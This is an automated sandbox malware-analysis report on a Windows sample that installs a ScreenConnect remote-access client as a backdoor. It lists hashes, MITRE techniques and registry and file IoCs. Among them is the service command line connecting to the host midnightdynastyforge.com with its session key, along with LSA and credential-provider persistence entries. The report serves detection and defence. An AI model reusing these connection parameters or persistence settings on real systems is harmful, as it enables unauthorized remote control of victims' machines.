c2c956401bb50a69e8cb0cbcd57a62ec0d6a5a245a050176e59ff5303574b850

Analysis

max time kernel
149s
max time network
128s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/10/2026, 23:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-30_870306c6786af979f664b374f8b37e0f_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Size 5.3MB
Sample261030-23c1esfx2s
SHA256 c2c956401bb50a69e8cb0cbcd57a62ec0d6a5a245a050176e59ff5303574b850
MD5 870306c6786af979f664b374f8b37e0f
SHA1 3078f00e6729824a93a7b330669d9a4a3d71a6c3
SHA512 0de1b54f78ef514ab45edd83495f8258754be7745e55de96abca132d94a35ce3efc9f02a927fd2218de7167d71f03ac5ae12b93895650758e58772257f818f68
SSDEEP 98304:Yps6efPi1Evc4/I7Od0jxRGsYh3eqQumU73tc:AfefPdk4/lGjxlYpeqQz
TLSH
T1AD46E011B3D995B9D07F0638D87A52A9AA74BC044312CBFF57D4BD692D32BC04E323A6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

backdoor discovery persistence privilege_escalation ransomware rat revoked_codesign

Malware Config

Signatures

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (4205d3d2c4079896)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (4205d3d2c4079896)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=midnightdynastyforge.com&p=8041&s=2ecd0cec-ff94-474b-8df8-8a985fcb7079&k=BgIAAACkAABSU0ExAAgAAAEAAQDhh3hMHHs%2fAiaMB%2bjLJtiYAASbFBksZ8b3lNtAVk3h%2fw7Ecfly2wWL3eiZiqyZLwry1l1P%2fxowaDjBKGMMxujSCGqoLk5sYox6ZO%2fPEzbYwNRU0WNuM2R3LWvdWTqp6tHkBQW6Hesfstwvc5o8C9eS1zl6AyYTm75VLGegyxS8gj%2b0Ku9x0PeQ0opuun8p814nADXFBqFSFb6FJ8AWlDSRzShN59l1V7ouVh%2fm0IYadySrmtDT4RoDCZRhs1CfuLW5XS3xznUs2Nalwcd9ZbdF3LpGSXOVp%2bu95l2%2b56M90PdSeQ2P%2bZHP48Hf6x0OJzY6cQUyGb4BKgA13pT9MFPF&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAHUqw31ueQkeuvxHSCvGVJAAAAAACAAAAAAAQZgAAAAEAACAAAAAL3fUs7A%2fRWfsah6I1CHwvUtwlL2ry5w7uBWQjszUytQAAAAAOgAAAAAIAACAAAACJ9uUL23ArXFPv0dNVD6hU%2fU5s1EH2e%2fxwnQXJoe60maAEAABxFEDCfwzyKMekoHZzlg33%2fmfBE3%2bSvXamsvhg0m2%2bhItMXOos2QpmqJjkSPZqvU%2f8qSubS2J4lovgrxYnQG0vqW6MzpX4CL9NasbZQx541fawFgRKYTyUFNGIXfhoR4kuUd472%2fyYo6%2bB1psWzXncXX0WxmTmVAYErjDKiHJFmBh9NImkhenRdK5xJyGXRE1BqVGzWoPGp4EPZLyEUg%2bGQ785I1YqqMXuSEOjFKJRC4uNi8qh%2f5EABiItp6aVNT8Vz%2bFNU%2ffBbFNwLjbAKd%2bOrm%2browYUI5rFs33Tz%2biFBudMpyYqsaahddZRV2U2ux5x0fJ3W8mBKd%2b22zEMrStkXH91iXa0qO6Je3lGQ3pP3bcjgbgjkGg%2fRQWLEfwnWet6HGFTC8EI%2bcLiEnRSi9lnbx4buNmPnNPciwsJ%2bTgJxjiWnVGC6ymMcmme2MX%2bb%2bli324vNDpzjXS6KATBxZuTE4S0iuKyYGeWe1Rew1d0UmxJVl03a4aNe0MJ0sbvsYtw3aHkfFdUPDTxr4c8IU1FKmkqPnOwZM7RCpCoTmhk6pvSIv5xbhcWXRAR24OIwm8mVY3BqttU3pWvGsvO3M3e9%2fpwjUvmqPAy%2f4Zyne3rOl4LItHeu8W76GmPWGwLLJHfTIMoXpI4Ifx%2b10BZC%2flgrs6MeoJFjBXKEa7wa8hA991SIPI9N1TSDKnHcGq1Nz3xNgFNhzemkLbov03RdoXQtVPuCFCCF12U9UpvjSl0Ieo4J1ONFP0brd9RLqJShBS%2fD9jz%2faLKm8n%2f3OJqGv3GJMdxRdGxPCjQ3vPSOFGjpbOv17%2fzUX6qdWAyKrMlOLK7Wht2f11N0ykC9prBDAzCtrcBbgcDS%2b94tM%2fmXAH51whrD%2f8MjDKbdpWaZtKcnbzqMCdsbczBjt49sf2B9AkzF8yGlel1WIC%2f9S4%2bvMmteIwLCu30iU2yakO%2f2V8q1cXM86BY1PSS%2bUI1EA6Nw4hq9sxKGhcqMKVzp4b5y%2fsLvFp80qPpZkx89cEsFQ4Y4L00VBrWA%2bzfXQLEZ5kypH8xVAWKLN5bKmpILbwbyHqCTM%2fxjO4icRzS6n5Uv8P6TsjE4O89XpX0L9n6cUaGfK5aTo%2fb7B3TZO8gTZgI3qeBx87gzqXBP1v4vzhMND2AZ3Aa%2fOhUnQRIUu%2fcysLrWnPR5ZbAI4YFA5lfjowhFHSSI%2fqbu8dnSaEgL147Ijl01Juy1YQqJQxfJ4WJsYkUPzPUFgGu%2bnaoQQK1Kd9z7FX1QXis%2botJPFRsmyakX2ZKWa5WIM8yzoMjAeNbQJs2W6u5CRSHCuQtNtujBirlZHo6ZCCtjKjU4Kk0FN%2fvX1%2bFe8eF%2fF%2f11OcUFw7i6tf5A2oyj3jcDcBetY8wi%2ft%2bWfUQhC7g2VJJ3f1Q8RB4MBkkL74RbYFwEsRqTNuzwB4NARLeFKqdCiitkkyPhM%2fcBuMZcKCDfx%2fzRubQ5lhQAEFccxF%2f8kbcffd18lpJT2N8jxXp%2bfkanO%2b6Qx62yHwT7pZjybYma8y7hVQuHK%2baUqIvBbuczaNjqFAmitYldTKzh8rpsnpI5VF52uDhNuRgjPIOVEAAAAA%2b91lVFM6XtiZ6zEWSgkOBgQUoIr8oBKSyoO1%2byXOvagXuOC9D3aaw2Fdfdhw5pFk4BkQnMSN5Eef%2bflILrEJC&c=10%2f26&c=&c=&c=&c=&c=&c=&c=\""	ScreenConnect.ClientService.exe

Signed with revoked ConnectWise certificate 2 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral2/memory/4716-108-0x0000000004770000-0x0000000004842000-memory.dmp	revoked_cert_connectwise
behavioral2/files/0x000d00000001c4e2-107.dat	revoked_cert_connectwise

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 3 IoCs

pid	Process
4716	ScreenConnect.ClientService.exe
5056	ScreenConnect.WindowsClient.exe
3840	ScreenConnect.WindowsClient.exe

Loads dropped DLL 22 IoCs

pid	Process
5756	MsiExec.exe
2212	rundll32.exe
2212	rundll32.exe
2212	rundll32.exe
2212	rundll32.exe
2212	rundll32.exe
2212	rundll32.exe
2212	rundll32.exe
2212	rundll32.exe
2212	rundll32.exe
1716	MsiExec.exe
5424	MsiExec.exe
4716	ScreenConnect.ClientService.exe
4716	ScreenConnect.ClientService.exe
4716	ScreenConnect.ClientService.exe
4716	ScreenConnect.ClientService.exe
4716	ScreenConnect.ClientService.exe
4716	ScreenConnect.ClientService.exe
4716	ScreenConnect.ClientService.exe
4716	ScreenConnect.ClientService.exe
4716	ScreenConnect.ClientService.exe
4716	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800340032003000350064003300640032006300340030003700390038003900360029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (4205d3d2c4079896)\40amx0rb.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (4205d3d2c4079896)\40amx0rb.newcfg	ScreenConnect.ClientService.exe

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.Core.dll	msiexec.exe

Drops file in Windows directory 17 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2A62.tmp	msiexec.exe
File created	C:\Windows\Installer\e592524.msi	msiexec.exe
File created	C:\Windows\Installer\e592522.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFF7DE353246F8CD5D.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF688708F970861488.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2D90.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DFFDDD557CFCB5320E.TMP	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2A92.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{76832A10-792D-F054-395B-1C5201F90285}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\{76832A10-792D-F054-395B-1C5201F90285}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\e592522.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{76832A10-792D-F054-395B-1C5201F90285}	msiexec.exe
File created	C:\Windows\Installer\{76832A10-792D-F054-395B-1C5201F90285}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DF8C37829D48439DB2.TMP	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.WindowsClient.exe

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-10-30_870306c6786af979f664b374f8b37e0f_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000fa6709e762e3d5140000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801fa6709e70000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101fa6709e7000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3fa6709e700000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6fa6709e700000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe

Modifies registry class 37 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\01A23867D297450F93B5C125109F2058\ProductName = "ScreenConnect Client (4205d3d2c4079896)"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\01A23867D297450F93B5C125109F2058\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.17.9294\\4205d3d2c4079896\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-FC79-F82F6023B264}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\01A23867D297450F93B5C125109F2058\Version = "402849809"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\01A23867D297450F93B5C125109F2058\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4205d3d2c4079896	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-FC79-F82F6023B264}\InprocServer32	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4205d3d2c4079896\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4205d3d2c4079896\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-FC79-F82F6023B264}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (4205d3d2c4079896)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\01A23867D297450F93B5C125109F2058\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\01A23867D297450F93B5C125109F2058\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4205d3d2c4079896\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-4205d3d2c4079896\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\01A23867D297450F93B5C125109F2058\PackageCode = "01A23867D297450F93B5C125109F2058"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\01A23867D297450F93B5C125109F2058\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\38319F345EF889B224503D2D4C708969	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\38319F345EF889B224503D2D4C708969\01A23867D297450F93B5C125109F2058	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\01A23867D297450F93B5C125109F2058\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\01A23867D297450F93B5C125109F2058\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.17.9294\\4205d3d2c4079896\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-4205d3d2c4079896	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4205d3d2c4079896\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4205d3d2c4079896\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4205d3d2c4079896\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (4205d3d2c4079896)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-FC79-F82F6023B264}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-FC79-F82F6023B264}\ = "ScreenConnect Client (4205d3d2c4079896) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\01A23867D297450F93B5C125109F2058\Full	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\01A23867D297450F93B5C125109F2058\Language = "1033"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\01A23867D297450F93B5C125109F2058	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\01A23867D297450F93B5C125109F2058\ProductIcon = "C:\\Windows\\Installer\\{76832A10-792D-F054-395B-1C5201F90285}\\DefaultIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\01A23867D297450F93B5C125109F2058\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\01A23867D297450F93B5C125109F2058\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\01A23867D297450F93B5C125109F2058\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\01A23867D297450F93B5C125109F2058\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\01A23867D297450F93B5C125109F2058\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\01A23867D297450F93B5C125109F2058	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\01A23867D297450F93B5C125109F2058\AdvertiseFlags = "388"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2768	msiexec.exe
2768	msiexec.exe
4716	ScreenConnect.ClientService.exe
4716	ScreenConnect.ClientService.exe
4716	ScreenConnect.ClientService.exe
4716	ScreenConnect.ClientService.exe
4716	ScreenConnect.ClientService.exe
4716	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4308	2026-10-30_870306c6786af979f664b374f8b37e0f_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Token: SeShutdownPrivilege	3924	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3924	msiexec.exe
Token: SeSecurityPrivilege	2768	msiexec.exe
Token: SeCreateTokenPrivilege	3924	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3924	msiexec.exe
Token: SeLockMemoryPrivilege	3924	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3924	msiexec.exe
Token: SeMachineAccountPrivilege	3924	msiexec.exe
Token: SeTcbPrivilege	3924	msiexec.exe
Token: SeSecurityPrivilege	3924	msiexec.exe
Token: SeTakeOwnershipPrivilege	3924	msiexec.exe
Token: SeLoadDriverPrivilege	3924	msiexec.exe
Token: SeSystemProfilePrivilege	3924	msiexec.exe
Token: SeSystemtimePrivilege	3924	msiexec.exe
Token: SeProfSingleProcessPrivilege	3924	msiexec.exe
Token: SeIncBasePriorityPrivilege	3924	msiexec.exe
Token: SeCreatePagefilePrivilege	3924	msiexec.exe
Token: SeCreatePermanentPrivilege	3924	msiexec.exe
Token: SeBackupPrivilege	3924	msiexec.exe
Token: SeRestorePrivilege	3924	msiexec.exe
Token: SeShutdownPrivilege	3924	msiexec.exe
Token: SeDebugPrivilege	3924	msiexec.exe
